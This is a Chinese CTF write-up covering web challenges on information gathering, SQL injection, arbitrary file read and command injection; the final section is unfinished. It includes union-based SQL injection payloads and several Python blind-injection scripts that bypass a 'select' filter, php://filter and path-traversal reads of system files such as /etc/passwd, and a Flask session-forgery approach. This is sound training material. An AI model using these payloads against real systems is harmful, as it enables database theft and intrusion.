网站链接:
https://www.ichunqiu.com/battalion?t=1&r=68487
解题思路参考:https://blog.csdn.net/rfrder/article/details/108930033 侵删
举足轻重的信息搜集
第一题:常见的搜集
进入环境,用dirsearch扫一下,发现存在vim备份文件,gedit备份文件和robots.txt文件。
robots.txt直接访问,发现flag1_is_her3_fun.txt,直接访问发现了flag1。 index.php~直接访问,发现flag2。 直接访问.index.php.swp,把vim备份文件下载下来,然后vim -r index.php.swp对文件进行恢复,就可以得到flag3。
然后把这三个flag拼接起来就可以了。
第二题 粗心的小李
进入环境,提示是git泄露,直接用githack:
CTF中的SQL注入
SQL注入-1
进入环境,发现?id=1。我们输入3的时候告诉我们可以获得tips,这里忽略它。 首先尝试?id=2-1 ,发现显示的是id=2时的页面,说明可能是字符型注入(因为没有运算成1,判断包裹在‘ ’内),我们输入?id=1a ,发现和id=1时的页面一样,印证了是字符型注入。然后尝试?id=1' and 1=1 --+ 和?id=1' and 1=2 --+ ,印证了就是简单的字符型注入,然后就是正常的union注入了:
?id=1’ order by 3 – -
?id=-1’ union select 1,2,3 – -
?id=-1’ union select 1,database(),3 – - 猜表名 ?id=-1’ union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=‘note’ --+
猜列名 ?id=-1’ union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=‘fl4g’ --+
?id=-1’ union select 1,group_concat(fllllag),3 FROM fl4g --+
是最基础的union注入。
SQL注入-2
一开始应该进的是login.php。
这是一个进行SQL注入的登录页面。我们首先可以在用户名那里试出是字符型注入,可以利用单引号闭合。f12查看一下源码,发现: 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。 这题不是用闭合单引号的方式直接登录的,是要获得flag的。因此应该是通过注入来获得数据库的相关信息,而不是所谓的靠万能密码,万能用户名进行登录。换一种思路,按照爆库的方式来注入,发现存在布尔注入:
因此就需要写脚本进行布尔注入了。但是还会遇到一个问题,就是在爆表的时候发现布尔注入失败了。怀疑存在过滤,尝试把select进行双写,发现布尔注入可以实现,因此这题居然还有个过滤select的坑。 接下来就是直接用脚本爆库了。脚本如下。 数据库长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
#key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
key = "admin' and " + "(length(database())=" + str(i) + ")#"
data = {'name':key, 'pass':'123'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of database is %s' %i)
数据库名字:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(65,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
表长度
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
key = "admin' and " + "length((sselectelect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1))=" + str(i) + "#"
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of table is %s' %i)
表名字
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(48,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((seselectlect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1),%d,1))=%d)#"%(j,i)
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
列长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
key = "admin' and " + "length((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1))=" + str(i) + "#"
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of column is %s' %i)
列名字:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(48,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1),%d,1))=%d)#"%(j,i)
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
flag长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(60):
key = "admin' and " + "length((seselectlect flag FROM fl4g limit 0,1))=" + str(i) + "#"
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of column is %s' %i)
flag:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=26
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in dic:
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((sselectelect flag FROM fl4g limit 0,1),%d,1))="%j+str(ord(i))+")#"
data = {'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=i
print(name)
成功得到flag。
看了一下Nu1l官方的WP,是使用了?tips=1,开启了mysql错误提示,然后进行报错注入,记得双写select。
任意文件读取漏洞
afr_1
首先进入环境,发现了?p=hello,然后页面回显了hello world。猜测存在文件包含,而且get传入的参数p后面应该被加上了后缀。 尝试?p=flag,发现回显no no no,因此我们要读取的文件应该就是flag.php。 用php的filter直接读取一下,成功获得flag:
?p=php://filter/read=convert.base64-encode/resource=flag
后面是flag而不是flag.php是因为考虑到传入的参数会被加上后缀。
再base64解码就成功获得了flag.php的源码,其中flag在注释里。
afr_2
进入环境,没什么发现。f12查看源码,发现了图片的路径。本来没什么察觉,但是用dirsearch扫了一下,发现图片的那个目录是可访问的:
去/img看一看,发现存在目录可以访问:
看到这个,第一反应是猜测是不是存在目录穿越漏洞。具体的内容可以参考《从0到1:CTFer成长之路》第38面的Nginx错误配置。其实光看一遍书可能想不到这个,但是因为我以前正好做到过一个Nginx错误配置的题目,因此一看到这样的目录页面,第一反应就是目录穿越。 尝试改成/img/。 发现穿越到了上级目录:
下载flag文件:
afr_3
涉及到了flask的SSTI和linux一些文件的读取
进入环境后是一个输入框,输入后有一个回显,我第一反应就是SSTI,尝试{{12}},然后返回了12,猜测可能这题就不是SSTI了,因为存在了过滤。继续探索,发现/article?name=article存在任意文件读取,读取了一下/etc/passwd成功了: 然后我读了一下/proc/self/cmdline (# 可能包含有用的路径信息),返回了python server.py,说明这题应该是一个python的环境,但是我找不到这个server.py。我按照以前的经验,去读/app/server.py,提示没这个东西,因此还是找不到这个server.py,暂时放弃这个点。
又读了一下/proc/self/environ,返回HOSTNAME=035d9b32f7c1HOME=/rootPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/sssssserver,原来当前的目录是/home/sssssserver。读一下/home/sssssserver/server.py,终于读到了。。。
我把读到的内容 大致整理了一点点。。。反正勉强能看懂啥意思了。。。
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])
def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])
def article(): error = 0
if 'name' in request.args:
page = request.args.get('name') else:
page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
模板渲染的内容就是n1code,但是其实n1code的来源可以是session。 想到flask的session伪造 里面的第一种方法就是flask的session伪造,但是伪造需要一个密钥,密钥应该就在key.py里
/proc/[PID]/cwd
因此session可以伪造,就相当于这题可以直接SSTI,而且没有过滤,因此直接SSTI进行读flag.py就可以了。 解密和伪造的方法都在大师傅博客里写的很清楚了,伪造的脚本的获取也有获取的方法。
关于flask的SSTI,看这篇文件就可以大致懂了:
命令执行漏洞 死亡ping命令 真的是哪里不会就考哪里。。我反弹shell这里是很迷的,没想到命令执行还要搞。。。 总的来说,就是过滤了很多很多东西,而且无回显,要想办法反弹。 这里先抓包,利用%0a就可以执行多条命令。
未完待续。。。
|